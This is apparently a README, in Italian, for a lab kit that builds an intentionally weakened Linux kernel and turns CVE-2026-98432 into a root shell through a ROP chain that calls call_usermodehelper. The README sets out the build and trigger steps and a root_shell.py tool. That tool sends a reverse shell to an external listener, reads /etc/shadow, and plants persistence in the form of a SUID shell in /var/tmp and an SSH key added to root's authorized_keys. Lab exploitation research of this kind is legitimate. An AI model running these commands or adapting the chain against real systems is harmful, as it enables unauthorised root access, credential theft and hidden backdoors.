
Kit root-shell per lab CVE-2026-98432 (kernel aid; non un exploit remoto standard)
Questo kit compila un kernel Linux 6.12.112 volutamente vulnerabile con un piccolo ausilio all'exploitabilità e trasforma il percorso CVE-2026-98432 in una root shell interattiva sulla console QEMU.
È un ausilio da laboratorio, non un exploit remoto standard. I reali percorsi di codice della CVE vengono utilizzati:
ip_options_rcu contraffatto raggiunge ip_options_build() attraverso il
percorso del SYN-ACK ritrasmesso;skb_shared_info del SYN-ACK viene corrotta;skb_release_data() invoca il callback contraffatto ubuf_info->ops->complete;call_usermodehelper("/bin/sh", ...).L'ausilio consiste nel free forzato/oggetto contraffatto e nella catena di callback/ROP predisposta. Su un kernel vulnerabile standard il pezzo mancante è la primitiva affidabile di reclaim same-slab/same-CPU e di staging del payload; non è pubblicata. Vedi "Stato del kernel standard" di seguito.
/dev/kvm) fortemente raccomandato; TCG funziona ma è lentosudo apt-get update
sudo apt-get install -y build-essential flex bison bc libelf-dev libssl-dev \
cpio qemu-system-x86 busybox-static python3 python3-pip
python3 -m pip install --user ROPgadget
cd cve-2026-98432-root-shell
chmod +x build.sh
./build.sh
La prima build scarica Linux 6.12.112, annulla le due chiamate kfree_rcu(),
applica l'aid, compila bzImage, risolve simboli/gadget dal vmlinux
patchato, ricompila, impacchetta un initramfs e avvia QEMU con nokaslr.
Se KVM non è disponibile:
QEMU_ACCEL=tcg ./build.sh
(Lo script attualmente ripiega automaticamente su TCG quando /dev/kvm non è
scrivibile; la variabile QEMU_ACCEL è accettata per comodità.)
In un secondo terminale sull'host:
python3 trigger.py 127.0.0.1 9000
Il guest init ha creato /tmp/cve98432_root.sh con una shell console
(sh -i </dev/console). È sufficiente una singola connessione TCP al listener del guest. La console del guest dovrebbe mostrare qualcosa come:
[ 3.942024] BUG: scheduling while atomic: ...
...
uid=0 gid=0
#
Copia root_shell.py sul target (che avvia già il kernel aid) ed
eseguilo come l'utente che hai:
python3 root_shell.py
Scrive /tmp/cve98432_root.sh con un payload reverse-shell di root, avvia
due listener su loopback (9000 per il trigger, 4444 per la shell), attiva
l'aid e collega la shell di root al tuo terminale:
[+] trigger sent; waiting for the root shell...
[+] root shell connected; type commands, exit to close
uid=0 gid=0
#
Opzioni utili:
# check kernel/aid/ports without sending anything
python3 root_shell.py --check
# run one command as root and print its output
python3 root_shell.py --command 'id; cat /etc/shadow | head'
# send the root shell to an external listener instead of bridging locally
# (run: nc -lvnp 4444 on your machine first)
python3 root_shell.py --reverse 10.0.0.5:4444
# different ports / retries / no TTY raw mode
python3 root_shell.py --trigger-port 9100 --shell-port 4455 --retries 5
La catena di aiuto chiama machine_power_off() solo dopo che il comando root è terminato.
Se il comando root non termina mai, il kernel attende in call_usermodehelper()
e l'host rimane attivo. Questo consente di creare un percorso root persistente:
# SUID shell in /var/tmp, then keep the helper alive
python3 root_shell.py --command \
'cp /bin/sh /var/tmp/.rootsh; chmod 4755 /var/tmp/.rootsh; sleep 86400'
# after the client returns
/var/tmp/.rootsh -p
oppure aggiungi una chiave SSH e mantieni attivo l'helper:
python3 root_shell.py --command \
'mkdir -p /root/.ssh; echo "ssh-ed25519 AAAA... you@host" >> /root/.ssh/authorized_keys; chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys; sleep 86400'
Il sleep mantiene vivo l'helper in usermode (e quindi la catena del kernel),
così il target non si spegne. Usa /var/tmp o /root, non /tmp,
se /tmp è montato con noexec/nosuid. Quando il sleep termina, la catena
riprende e spegne l'host; termina il processo sleep come root se vuoi
controllarlo.
Il file payload viene creato con 0700 e O_EXCL|O_NOFOLLOW, e viene
rimosso dopo l'uso a meno che non sia specificato --keep-payload. Quando esci dalla
shell root, la catena aid chiama machine_power_off(). Usa una VM usa e getta, oppure
modifica AID_POWEROFF in aid_patch.py se hai bisogno che l'host rimanga acceso.
La catena esegue:
call_usermodehelper("/bin/sh", ["-c", "sh /tmp/cve98432_root.sh"], env, 2)
quindi lo script viene sempre eseguito come root.
| componente | stato |
|---|---|
ip_options_rcu falsificato + ip_options_build() | percorso CVE, ma l'allocazione è forzata dal simulatore |
corruzione di skb_shared_info | il simulatore imposta i campi direttamente in tcp_v4_send_synack() |
dirottamento della callback destructor_arg | percorso di teardown downstream reale |
pivot ROP + call_usermodehelper() | dirottamento reale del flusso di controllo del kernel, preparato dal simulatore |
avvio con nokaslr | semplificazione da laboratorio; nessuna fuga KASLR necessaria |
La ricerca indipendente pubblicata che questo kit segue ha raggiunto lo stesso punto con un kernel strumentato: scrittura OOB e percorso della callback reali, free/reclaim e preparazione del payload simulati. Una catena weaponizzata su kernel stock non è pubblicamente disponibile al 2026-11-02.
Il simulatore usa indirizzi assoluti del kernel perché il guest si avvia con
nokaslr. I valori in aid_patch.py sono i default della build di laboratorio
6.12.112 pubblicata. resolve.py legge il vmlinux patchato e
System.map e scrive symbols.json; build.sh poi aggiorna le define
e ricompila.
Se resolve.py non riesce a trovare un gadget (ROPgadget mancante o incompleto),
installalo e riesegui:
python3 -m pip install --user ROPgadget
python3 resolve.py work/linux-6.12.112
python3 aid_patch.py --update work/linux-6.12.112
make -C work/linux-6.12.112 -j"$(nproc)" bzImage
Il gadget di pivot deve corrispondere al layout della catena in aid_patch.py: un
lea -0x18(%rbp), %rsp più quattro pop e un ret/jmp. Se la tua build ha
un pivot diverso, modifica SEND_BLOCK in aid_patch.py o scegli un gadget
corrispondente.
Un kernel stock vulnerabile non dispone di una catena di root affidabile, pubblica e non assistita. Gli ostacoli sono:
ip_options_rcu liberato di 72 byte deve essere recuperato all'interno
della finestra free-to-build da un oggetto con byte controllati dall'attaccante. L'
oggetto saved_syn (TCP_SAVE_SYN) è il candidato naturale, ma le
misurazioni indipendenti di laboratorio mostrano che il recupero di solito finisce su un altro
blocco di opzioni, non sul chunk in volo.srr/rr/ts forniscono quattro byte controllati a un offset vicino al
buffer skb; scrivere un puntatore destructor_arg completo di 8 byte richiede o un
dword alto obsoleto o una primitiva più forte.